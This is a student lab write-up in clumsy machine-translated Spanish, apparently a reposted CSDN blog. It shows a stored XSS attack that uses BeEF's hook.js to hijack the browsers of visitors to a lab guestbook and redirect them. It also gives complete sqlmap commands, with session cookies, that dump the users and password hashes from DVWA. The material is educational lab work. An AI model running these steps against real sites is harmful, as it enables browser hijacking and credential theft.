Prueba 3: inyección XSS y SQL

Conocimientos necesarios antes de la prueba

El siguiente contenido es el conocimiento que necesita comprender y dominar antes de la prueba, y el contenido detallado se puede mover a este blog para aprender: reserva de conocimientos antes de la prueba

Pieza XSS

1. Qué es XSS
2. Qué es el ataque XSS
3. Qué es la cookie
4. Clasificación de las vulnerabilidades
XSS 5. Defensa XSS

Parte de inyección SQL

1. ¿Qué es un ataque de inyección de SQL
? 2. ¿Por qué hay un ataque de inyección de SQL
? Cuándo usar ataques de inyección SQL
4. Introducción a MySQL
5. Implementar ataques de inyección SQL
6. Resumen de métodos para prevenir la inyección SQL


Parte experimental

Propósito:

Comprender qué es XSS; comprender la implementación de ataques XSS, comprender los métodos para defenderse de los ataques XSS; comprender los principios básicos de la inyección SQL; dominar los métodos básicos de los scripts PHP para acceder a bases de datos MySQL; dominar los métodos básicos para evitar vulnerabilidades de inyección SQL en diseño de programas, configuración de sitios web maestros.

Entorno del sistema:

Kali Linux 2 、 servidor de Windows

Entorno web:

Cambiar la estructura de la red

Herramientas experimentales:

Carne de res ; AWVS (Acunetix Web Vulnarability Scanner); SqlMAP ; DVWA

Principio de prueba:

Vea lo que necesita dominar antes de la prueba


Pasos experimentales

Parte XSS: use Beef para secuestrar el navegador del cliente de la persona atacada

1. Utilice AWVS para escanear el sitio web del libro de visitas.

Primero, necesitamos descargar AWVS y configurar el entorno experimental:

Cree un sitio web de libro de visitas para GUESTBOOK

Usamos Windows Server para crear un libro de visitas, primero instalamos Windows Server en la máquina virtual, luego hacemos clic en el botón de inicio, seleccionamos la pestaña de herramientas de administración y luego hacemos clic en el sistema de administración de servicios de información.
Inserte la descripción de la imagen aquí
Luego, haga clic con el botón derecho en la pestaña del sitio web, haga clic en Nuevo y, a continuación, haga clic en Sitio web, como se muestra en la figura siguiente:
Inserte la descripción de la imagen aquí
Luego, siga el proceso e importe el archivo del sitio web descargado previamente, como se muestra en la figura siguiente:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Aquí debe seleccionar un puerto que no está ocupado:
Inserte la descripción de la imagen aquí
haga clic en Examinar, busque el archivo correspondiente y haga clic en Aceptar:
Inserte la descripción de la imagen aquí
aquí está todo lo que necesita crear para la experimentación:
Inserte la descripción de la imagen aquí
luego hacemos clic con el botón derecho en el sitio web recién construido y hacemos clic en permisos, y luego en Agregar todos, y los permisos están completamente controlados , como se muestra en la figura siguiente:

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Entonces podemos usar para http://127.0.0.1:设置好的端口号/message.aspabrir nuestro sitio web, aquí uso el puerto 8888, así que uso http://127.0.0.1:8888/message.aspel sitio web para iniciar sesión:
Inserte la descripción de la imagen aquí

Escanear con AWVS

Luego usamos el AWVS instalado para escanear el sitio web recién construido. Tenga en cuenta que el host utilizado para escanear debe estar en el mismo segmento de red que el host escaneado; de lo contrario, no podrá escanearlo:
Nota: La URL escaneada aquí El La dirección IP en el medio debe ser la dirección IP de Windows Server 2003, y 8888 es el número de puerto. Todos lo saben
. http://192.168.154.233:8888/index.asp
Inserte la descripción de la imagen aquí
Entonces podemos encontrar que hay una vulnerabilidad XSS en error.asp y add.asp:

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

2. Kali usa carne de res para generar código malicioso

Instalar carne

Puede que no todos tengan carne de vacuno instalada en Kali, pero no te preocupes, podemos instalarlo a través de la siguiente declaración:
Primero: sudo apt-get install beef-xss
luego cambia a esta carpeta: cd /usr/share/beef-xss
entrada: ./beefpuedes comenzar
pero! ! !
Es posible que la primera vez que se le recuerde que no use la cuenta y contraseña predeterminadas, como esta:
Inserte la descripción de la imagen aquí
Pueden ocurrir algunos errores al usar estas herramientas, incluso si puede estar confundido, no se asuste, porque bueno, verá ¿No fue el ¿El sistema nos da una indicación muy clara? Si realmente no lo entiendes, puedes buscar en Baidu o preguntar a los grandes que te rodean ... siempre hay una manera.
No hay mucho que decir, aquí seguimos las instrucciones dadas para ingresar al archivo para modificar la contraseña predeterminada:
ábralo con vim: sudo vim /etc/beef-xss/config.yaml
Inserte la descripción de la imagen aquí
presione E para editar de acuerdo con el indicador, presione 'I' para ingresar la modificación, estableceremos la contraseña predeterminada y cuenta Realice cambios:
Inserte la descripción de la imagen aquí
finalmente ingrese y :wqpresione enter, guarde y salga:
Inserte la descripción de la imagen aquí
aquí configuro la contraseña y la cuenta para admin, luego de completar las operaciones anteriores, podemos ./beef
Inserte la descripción de la imagen aquí
ver que nuestra puerta se ha abierto con éxito carne, y luego vamos al navegador Entrada: http://127.0.0.1:3000/ui/authenticationluego salte a la interfaz de inicio de sesión de beef e ingrese nuestra contraseña modificada:
Inserte la descripción de la imagen aquí
después de iniciar sesión, visitamos el código malicioso dentro de hook.js

Inserte la descripción de la imagen aquí
Siempre que visite el sitio web, su navegador será secuestrado. Hasta este momento, hemos utilizado con éxito la carne de res para generar código malicioso, ¿no es sencillo? Después de todo, no escriba el código.

3. Visite http: // sitio web del libro de visitas / message.asp y escriba el código malicioso

Ahora usamos kali para iniciar sesión en el sitio web del libro de visitas. Aquí debemos asegurarnos de que nuestro atacante y la parte atacada estén en el mismo segmento de red, es decir, en un estado en el que se pueda hacer ping.
Aquí vamos a utilizar la ip del atacante para iniciar sesión en el sitio web del libro de visitas: http://192.168.154.233:8888/Message.asp
y luego atacamos, escribimos el código malicioso y comentamos:
Inserte la descripción de la imagen aquí
aquí se puede ver que falta nuestro código en el comentario, lo que indica que se cargó correctamente en ello. Inserte la descripción de la imagen aquí
Puede ver que cuando vuelva a navegar por la página, aparecerá un cuadro de diálogo para ejecutar el script. Ahora todos los navegadores que naveguen por la página serán secuestrados. Podemos ir a la carne y ver que nuestro navegador ha sido secuestrado:

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

4. Secuestrar el navegador y configurar el sitio web secuestrado

De acuerdo con los requisitos del experimento, debemos redirigir el sitio web al sitio web oficial de nuestra escuela. Para proteger la privacidad, no necesito la dirección del sitio web oficial de mi escuela. Aquí la cambio al sitio web de Bilibili:
Primero, Primero seleccionemos el navegador secuestrado, luego vayamos a la pestaña Comandos, y luego seleccionemos redirigir al navegador, en la barra de direcciones a la derecha, reemplace la dirección con la dirección que queremos reemplazar :, https://www.bilibili.com/y luego podrá ver el navegador secuestrado Saltará a la página web reemplazada:
Inserte la descripción de la imagen aquí

5. ¿Qué tipo de ataques XSS hay en el experimento?

El tipo de ataque XSS en este experimento pertenece al XSS inyectado, y el
principio del ataque XSS inyectado: este tipo de vulnerabilidad XSS significa que los datos (código malicioso) ingresados ​​por el usuario se pueden "almacenar" en el servidor, siempre que cuando alguien accede a las páginas de código XSS almacenadas, los scripts XSS se ejecutarán en sus navegadores, este XSS tiene una gran estabilidad. Por eso también se le llama "XSS persistente".

Parte de inyección SQL: DVWA + SQLmap + combate de inyección Mysql

1. Construcción del entorno experimental

Metasploitable2 tiene una plataforma DVWA incorporada, por lo que abrimos directamente la máquina virtual Metasploitable2 y la usamos http://Metasploitable的IP/dvwapara iniciar sesión en la plataforma DVWA.
O puede construir una plataforma DVWA por su cuenta Aquí publicaré un blog sobre cómo construir una plataforma de práctica de vulnerabilidad DVWA.
Aquí usamos Metasploitable2 para construirlo. La cuenta de inicio de sesión inicial es admin y la contraseña es contraseña.

Inserte la descripción de la imagen aquí
Luego seleccione el nivel bajo de dificultad en el nivel de seguridad para comenzar la prueba:

Inserte la descripción de la imagen aquí

Ingrese 1 en el cuadro de entrada, devuelva
ID: 1
Nombre: admin
Apellido: admin
vuelva a la normalidad;
ingrese 1 'de nuevo , informe
un error , regrese Tiene un error en su sintaxis SQL; consulte el manual que corresponde a su servidor MariaDB versión para la sintaxis correcta para usar near''1 '' 'en la línea 1
En este momento, se puede concluir que existe una vulnerabilidad de inyección SQL,

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

El siguiente uso sqlmap para atacar

Sintaxis básica de SQLMAP:

  • u: especifique la URL de destino
  • cookie: el valor de la cookie de la sesión actual
  • b: Obtenga el tipo de base de datos y verifique la identificación del sistema de administración de la base de datos
  • current-db: Obtiene la base de datos actual
  • current-user: Obtiene el usuario que utiliza actualmente la base de datos
  • cadena: cuando la consulta se puede utilizar para hacer coincidir la cadena en la página
  • usuarios: enumere los usuarios de DBMS
  • contraseña: enumere el hash de la contraseña del usuario de DBMS

2. Enumere el nombre de usuario y la base de datos actualmente en uso

De acuerdo con la sintaxis básica de SQLMAP enumerada anteriormente, primero lo usamos -u+urlpara especificar el objetivo, luego lo usamos --cookie+我们抓到的cookiepara verificar nuestra identidad y finalmente lo usamos --current-dbpara acceder a la base de datos actual.
Entonces, el último comando que usamos es:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-db

Como se muestra en nuestra base de datos actual: dvwa,
Inserte la descripción de la imagen aquí
entonces también necesitamos verificar cuál es el usuario actual, aquí solo necesitamos un poco más, la declaración anterior se puede modificar, los últimos datos a los que --current-dbse accedió se cambiarán --current-user.
Entonces, la oración que usamos es: sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-user
De la siguiente figura, puede ver que el usuario actual es: root @%
Inserte la descripción de la imagen aquí

3. Enumere la base de datos actual

Aquí hay algunos otros usos de SQLMAP

  • -Dbs: enumera la base de datos actual
  • -D nombre de la base de datos: especifique la base de datos
  • -Tablas: enumera todas las tablas en la base de datos especificada
  • -D: la base de datos especificada
  • -T: especifica la tabla de datos en la base de datos
  • -Columnas: obtener información de la columna
  • -C: enumera las columnas en la tabla de datos
  • -Dump: almacenar entradas de la tabla de datos

Primero enumeramos la base de datos, usamos --dbspara enumerar la base de datos actual:
sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --dbs

En este momento, debemos prestar atención a algunos problemas: necesitamos ejecutar comandos en el directorio sqlmap-dev. Cuando el sistema le pregunta si está sí o no, cuando ingresamos y o n, no distingue entre mayúsculas y minúsculas. la entrada está completa, presione Enter.
Inserte la descripción de la imagen aquí

4. Enumere la base de datos y la tabla de datos de la base de datos especificada.

Primero usamos la -D+数据库名称base de datos de posicionamiento y luego usamos para --tableslistar todas las tablas bajo la base de datos dvwa.
La declaración específica es la siguiente:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa --tables
Inserte la descripción de la imagen aquí

5. Obtenga la información de todas las columnas en la base de datos y la tabla especificadas

Aquí primero usamos la -D+数据库名称base de datos de posicionamiento, y luego usamos -T userel usuario de la tabla de datos en la base de datos especificada, y luego usamos --columnspara obtener la información de todas las columnas en la base de datos y la tabla.
La declaración específica es la siguiente:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users --columns

Inserte la descripción de la imagen aquí

Enumere todos los nombres de usuario y contraseñas en la tabla de datos especificada y hasta el local

En el paso anterior, obtuvimos la información de todas las columnas en la tabla de usuarios. En la información de la columna, podemos ver que hay dos columnas de usuario y contraseña. Mirando el nombre, adivinamos claramente que el nombre de usuario y la contraseña necesitamos estar entre estos dos en. Entonces usamos -Cpara enumerar las columnas en la tabla de datos, y luego usamos --dumppara almacenar los datos obtenidos localmente.
Los comandos específicos son los siguientes: sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users -C user,password --dump
puede ver que los datos de la tabla son el nombre de usuario y la contraseña que queremos.
Inserte la descripción de la imagen aquí
Luego abrimos el archivo guardado en el archivo de acuerdo con la ruta dada:
Inserte la descripción de la imagen aquí
usamos el cdcomando para cambiar al directorio donde se encuentra el archivo, y luego usamos para cat file1 +文件名abrir el archivo:
Inserte la descripción de la imagen aquí
podemos ver que hemos guardado correctamente el nombre de usuario y contraseña localmente.

para resumir

En este experimento, aprendí:

  • ¿Qué es el ataque XSS?
  • Tipos de ataques XSS
  • Uso básico de AWVS
  • ¿Qué es un ataque de inyección SQL?
  • Algunos ataques XSS simples y ataques de inyección SQL

Supongo que te gusta

Origin blog.csdn.net/yghlqgt/article/details/110147117
Recomendado
Clasificación